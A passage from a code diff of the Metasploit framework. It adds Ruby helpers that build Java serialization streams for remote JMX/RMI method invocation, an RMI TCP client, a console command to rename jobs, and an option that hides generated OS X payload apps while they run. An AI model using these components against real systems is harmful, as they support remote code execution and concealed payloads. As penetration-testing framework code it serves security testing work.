obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the Java invoke method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :object the object whose method we want to call
|
||||
# @option opts [String] :method the method name to invoke
|
||||
# @option opts [String] :args the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
arguments = opts[:args] || {}
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: 0xacf317f8060854e0, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: invoke_arguments_stream(arguments).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
||||
stream.contents << marshall_object
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java invoke method method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_arguments_stream(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle data
|
||||
# used by Java JMX
|
||||
module Util
|
||||
|
||||
# Extracts a Rex::Java::Serialization::Model::NewObject from
|
||||
# a Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
|
||||
# @param id [Fixnum] the content position storing the object
|
||||
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
|
||||
def extract_object(stream, id)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[id]
|
||||
new_object = stream.contents[id]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('n')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('N')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts an UnicastRef (endpoint) information from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Hash, nil] the extracted int if success, nil otherwise
|
||||
def extract_unicast_ref(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
id = io.read
|
||||
|
||||
{ address: address, port: port, id: id }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,138 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java/serialization'
|
||||
require 'stringio'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
|
||||
require 'msf/java/rmi/client/streams'
|
||||
|
||||
include Msf::Java::Rmi::Client::Streams
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the target port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the RMI server peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Sends a RMI header stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_header
|
||||
def send_header(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_header(opts)
|
||||
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
|
||||
end
|
||||
|
||||
# Sends a RMI CALL stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_call
|
||||
def send_call(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_call(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Sends a RMI DGCACK stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_dgc_ack
|
||||
def send_dgc_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_dgc_ack(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Reads the Protocol Ack
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
|
||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||
def recv_protocol_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
return nil
|
||||
end
|
||||
|
||||
ack
|
||||
end
|
||||
|
||||
# Reads a ReturnData message and returns the java serialized stream
|
||||
# with the return data value.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Java::Serialization::Stream]
|
||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||
def recv_return(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
return nil
|
||||
end
|
||||
|
||||
return_data.return_value
|
||||
end
|
||||
|
||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock)
|
||||
data = ''
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
|
||||
until res.nil? || res.length < 1448
|
||||
data << res
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
|
||||
data << res if res
|
||||
data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Streams
|
||||
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -107,47 +107,48 @@ class Core
|
|||
# Returns the list of commands supported by this command dispatcher
|
||||
def commands
|
||||
{
|
||||
"?" => "Help menu",
|
||||
"back" => "Move back from the current context",
|
||||
"banner" => "Display an awesome metasploit banner",
|
||||
"cd" => "Change the current working directory",
|
||||
"connect" => "Communicate with a host",
|
||||
"color" => "Toggle color",
|
||||
"exit" => "Exit the console",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"get" => "Gets the value of a context-specific variable",
|
||||
"getg" => "Gets the value of a global variable",
|
||||
"go_pro" => "Launch Metasploit web GUI",
|
||||
"grep" => "Grep the output of another command",
|
||||
"help" => "Help menu",
|
||||
"info" => "Displays information about one or more module",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"jobs" => "Displays and manages jobs",
|
||||
"kill" => "Kill a job",
|
||||
"load" => "Load a framework plugin",
|
||||
"loadpath" => "Searches for and loads modules from a path",
|
||||
"popm" => "Pops the latest module off the stack and makes it active",
|
||||
"pushm" => "Pushes the active or list of modules onto the module stack",
|
||||
"previous" => "Sets the previously loaded module as the current module",
|
||||
"quit" => "Exit the console",
|
||||
"resource" => "Run the commands stored in a file",
|
||||
"makerc" => "Save commands entered since start to a file",
|
||||
"?" => "Help menu",
|
||||
"back" => "Move back from the current context",
|
||||
"banner" => "Display an awesome metasploit banner",
|
||||
"cd" => "Change the current working directory",
|
||||
"connect" => "Communicate with a host",
|
||||
"color" => "Toggle color",
|
||||
"exit" => "Exit the console",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"get" => "Gets the value of a context-specific variable",
|
||||
"getg" => "Gets the value of a global variable",
|
||||
"go_pro" => "Launch Metasploit web GUI",
|
||||
"grep" => "Grep the output of another command",
|
||||
"help" => "Help menu",
|
||||
"info" => "Displays information about one or more module",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"jobs" => "Displays and manages jobs",
|
||||
"rename_job" => "Rename a job",
|
||||
"kill" => "Kill a job",
|
||||
"load" => "Load a framework plugin",
|
||||
"loadpath" => "Searches for and loads modules from a path",
|
||||
"popm" => "Pops the latest module off the stack and makes it active",
|
||||
"pushm" => "Pushes the active or list of modules onto the module stack",
|
||||
"previous" => "Sets the previously loaded module as the current module",
|
||||
"quit" => "Exit the console",
|
||||
"resource" => "Run the commands stored in a file",
|
||||
"makerc" => "Save commands entered since start to a file",
|
||||
"reload_all" => "Reloads all modules from all defined module paths",
|
||||
"route" => "Route traffic through a session",
|
||||
"save" => "Saves the active datastores",
|
||||
"search" => "Searches module names and descriptions",
|
||||
"sessions" => "Dump session listings and display information about sessions",
|
||||
"set" => "Sets a context-specific variable to a value",
|
||||
"setg" => "Sets a global variable to a value",
|
||||
"show" => "Displays modules of a given type, or all modules",
|
||||
"sleep" => "Do nothing for the specified number of seconds",
|
||||
"threads" => "View and manipulate background threads",
|
||||
"unload" => "Unload a framework plugin",
|
||||
"unset" => "Unsets one or more context-specific variables",
|
||||
"unsetg" => "Unsets one or more global variables",
|
||||
"use" => "Selects a module by name",
|
||||
"version" => "Show the framework and console library version numbers",
|
||||
"spool" => "Write console output into a file as well the screen"
|
||||
"route" => "Route traffic through a session",
|
||||
"save" => "Saves the active datastores",
|
||||
"search" => "Searches module names and descriptions",
|
||||
"sessions" => "Dump session listings and display information about sessions",
|
||||
"set" => "Sets a context-specific variable to a value",
|
||||
"setg" => "Sets a global variable to a value",
|
||||
"show" => "Displays modules of a given type, or all modules",
|
||||
"sleep" => "Do nothing for the specified number of seconds",
|
||||
"threads" => "View and manipulate background threads",
|
||||
"unload" => "Unload a framework plugin",
|
||||
"unset" => "Unsets one or more context-specific variables",
|
||||
"unsetg" => "Unsets one or more global variables",
|
||||
"use" => "Selects a module by name",
|
||||
"version" => "Show the framework and console library version numbers",
|
||||
"spool" => "Write console output into a file as well the screen"
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -780,6 +781,50 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
def cmd_rename_job_help
|
||||
print_line "Usage: rename_job [ID] [Name]"
|
||||
print_line
|
||||
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
|
||||
print_line
|
||||
print_line "Rename a job that's currently active."
|
||||
print_line "You may use the jobs command to see what jobs are available."
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_rename_job(*args)
|
||||
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
|
||||
cmd_rename_job_help
|
||||
return false
|
||||
end
|
||||
|
||||
job_id = args[0].to_s
|
||||
job_name = args[1].to_s
|
||||
|
||||
unless framework.jobs[job_id]
|
||||
print_error("Job #{job_id} does not exist.")
|
||||
return false
|
||||
end
|
||||
|
||||
# This is not respecting the Protected access control, but this seems to be the only way
|
||||
# to rename a job. If you know a more appropriate way, patches accepted.
|
||||
framework.jobs[job_id].send(:name=, job_name)
|
||||
print_status("Job #{job_id} updated")
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the rename_job command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_rename_job_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
framework.jobs.keys
|
||||
end
|
||||
|
||||
def cmd_jobs_help
|
||||
print_line "Usage: jobs [options]"
|
||||
print_line
|
||||
|
|
|
@ -674,6 +674,7 @@ class Db
|
|||
print_line "General options"
|
||||
print_line " -h,--help Show this help information"
|
||||
print_line " -o <file> Send output to a file in csv format"
|
||||
print_line " -d Delete one or more credentials"
|
||||
print_line
|
||||
print_line "Filter options for listing"
|
||||
print_line " -P,--password <regex> List passwords that match this regex"
|
||||
|
@ -701,6 +702,11 @@ class Db
|
|||
print_line " # Add a user with an SSH key"
|
||||
print_line " creds add-ssh-key root /root/.ssh/id_rsa"
|
||||
print_line
|
||||
|
||||
print_line "Example, deleting:"
|
||||
print_line " # Delete all SMB credentials"
|
||||
print_line " creds -d -s smb"
|
||||
print_line
|
||||
end
|
||||
|
||||
# @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential`
|
||||
|
|
|
@ -725,7 +725,7 @@ protected
|
|||
if opts['RealReadline']
|
||||
# Remove the gem version from load path to be sure we're getting the
|
||||
# stdlib readline.
|
||||
gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir
|
||||
gem_dir = Gem::Specification.find_all_by_name('rb-readline-r7').first.gem_dir
|
||||
rb_readline_path = File.join(gem_dir, "lib")
|
||||
index = $LOAD_PATH.index(rb_readline_path)
|
||||
# Bundler guarantees that the gem will be there, so it should be safe to
|
||||
|
|
|
@ -734,16 +734,27 @@ require 'msf/core/exe/segment_injector'
|
|||
# @param [Hash] opts the options hash
|
||||
# @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
|
||||
# @option opts [String] :app_name (random) the name of the OSX app
|
||||
# @option opts [String] :hidden (true) hide the app when it is running
|
||||
# @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
|
||||
# @return [String] zip archive containing an OSX .app directory
|
||||
def self.to_osx_app(exe, opts = {})
|
||||
exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8)
|
||||
app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8)
|
||||
plist_extra = opts[:plist_extra] || ''
|
||||
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
|
||||
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
|
||||
hidden = opts.fetch(:hidden, true)
|
||||
plist_extra = opts.fetch(:plist_extra, '')
|
||||
|
||||
app_name.chomp!(".app")
|
||||
app_name += ".app"
|
||||
|
||||
visible_plist = if hidden
|
||||
%Q|
|
||||
<key>LSBackgroundOnly</key>
|
||||
<string>1</string>
|
||||
|
|
||||
else
|
||||
''
|
||||
end
|
||||
|
||||
info_plist = %Q|
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -754,7 +765,7 @@ require 'msf/core/exe/segment_injector'
|
|||
<key>CFBundleIdentifier</key>
|
||||
<string>com.#{exe_name}.app</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>#{exe_name}</string>
|
||||
<string>#{exe_name}</string>#{visible_plist}
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
#{plist_extra}
|
||||
|
|
|
@ -18,7 +18,7 @@ end
|
|||
class BoundsError < ElfError
|
||||
end
|
||||
|
||||
class WtfError < ElfError
|
||||
class ElfParseyError < ElfError
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue